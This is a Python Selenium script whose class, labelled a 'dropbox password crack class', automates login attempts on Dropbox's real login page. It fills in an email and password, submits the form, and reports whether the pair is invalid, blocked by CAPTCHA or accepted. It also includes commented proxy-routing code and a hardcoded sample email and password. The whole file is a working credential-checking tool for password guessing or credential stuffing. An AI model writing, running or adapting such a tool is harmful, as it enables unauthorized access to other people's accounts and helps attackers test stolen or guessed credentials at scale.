from selenium import webdriver
import time
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By

'''
proxy=webdriver.Proxy()
proxy.proxy_type=ProxyType.MANUAL
proxy.http_proxy='127.0.0.1:800'

# 将代理设置添加到webdriver.DesiredCapabilities.PHANTOMJS中
proxy.add_to_capabilities(webdriver.DesiredCapabilities.PHANTOMJS)
browser.start_session(webdriver.DesiredCapabilities.PHANTOMJS)
browser.get('http://1212.ip138.com/ic.asp')

proxy=webdriver.Proxy()
proxy.proxy_type=ProxyType.DIRECT
proxy.add_to_capabilities(webdriver.DesiredCapabilities.PHANTOMJS)
browser.start_session(webdriver.DesiredCapabilities.PHANTOMJS)
browser.get('http://1212.ip138.com/ic.asp')
browser.page_source
browser.
'''

def saveToFile(filename, contents):
	fh = open(filename, 'w', encoding="utf-8")
	fh.write(contents)
	fh.close()

class DBCracker(object):
    '''
    this is a dropbox password crack class
    '''
    #browser=webdriver.PhantomJS(executable_path='phantomjs')
    #browser=webdriver.Chrome()  #调用chrome浏览器
    #browser=webdriver.Firefox()
    loginurl = ""
    
    #emailcssselector="input.text-input-input.autofocus"
    #passwordCssSelector="input.password-input.text-input-input"
    
    emailcssselector="#regular-login-forms > div > form > div.credentials-form__fields > div.login-email.text-input.login-text-input.standard > div.text-input-wrapper > input"
    passwordCssSelector="#regular-login-forms > div > form > div.credentials-form__fields > div.text-input.login-password.login-text-input.standard > div.text-input-wrapper > input"
    
    emailxpath='//*[@id="regular-login-forms"]/div/form/div[1]/div[1]/div[2]/input'
    passwordXpath='//*[@id="regular-login-forms"]/div/form/div[1]/div[2]/div[2]/input'
    
    
    def __init__(self):
        #self.browser=webdriver.PhantomJS(executable_path='phantomjs')
        self.browser=webdriver.Firefox()
        self.loginurl = "https://www.dropbox.com/m/login"
        pass

    def check(self, email, password):
        print("%f:begin check %s %s" %(time.time(),email,password ))
        self.browser.get(self.loginurl)
        saveToFile('d:/1.txt', self.browser.page_source)
        print("%f:bf clear email"%(time.time()))
        self.browser.find_element_by_css_selector(self.emailcssselector).clear()
        print("%f:bf clear password"%(time.time()))
        self.browser.find_element_by_css_selector(self.passwordCssSelector).clear()
        print("%f:bf set email"%(time.time()))
        self.browser.find_element_by_css_selector(self.emailcssselector).send_keys(email)
        print("%f:bf set password"%(time.time()))
        self.browser.find_element_by_css_selector(self.passwordCssSelector).send_keys(password)

        print("%f:bf click"%(time.time()))
        self.browser.find_element_by_css_selector("button.login-button.signin-button.button-primary").click()
        
        print("%f: current url=%s"%(time.time(), self.browser.current_url))
        
        saveToFile('d:/2.txt', self.browser.page_source)
        
        
        '''
        locator=By.CSS_SELECTOR(".error-message")
        try:
            WebDriverWait(self.browser, 20, 0.5).until(EC.presence_of_element_located(locator))
            print self.browser.find_element_by_css_selector('.error-message').get_attribute('value')
        finally:
            self.browser.close()
        saveToFile('d:/3.txt', self.browser.page_source)
        '''
        
        
        '''
        if(self.browser.current_url == self.loginurl):
            print("%f:error or CAPTCHA" % (time.time()))
            return -1
        else:
            print("%f:ok"%(time.time()))
            return 1
        
        
        '''
        
        time.sleep(3)
        
        #Invalid email or password
        #Please enter a CAPTCHA response.
        if(self.browser.page_source.find("Invalid email or password")>=0):
            print("%f:error" % (time.time()))
            return -1
        elif(self.browser.page_source.find("Please enter a CAPTCHA response.")>=0 or 
         self.browser.page_source.find('请输入验证码响应。')>=0):
            print("%f:CAPTCHA"%(time.time()))
            return 0
        else:
            print("%f:ok"%(time.time()))
            return 1
            


    def release():
        browser.close()
        browser.quit()

    
def main():
    a = DBCracker()
    print("%f:created DBCracker"%(time.time()))
    a.check("zhongguo_300@163.com", "abcd1244")
    


if __name__ == "__main__":
    main()
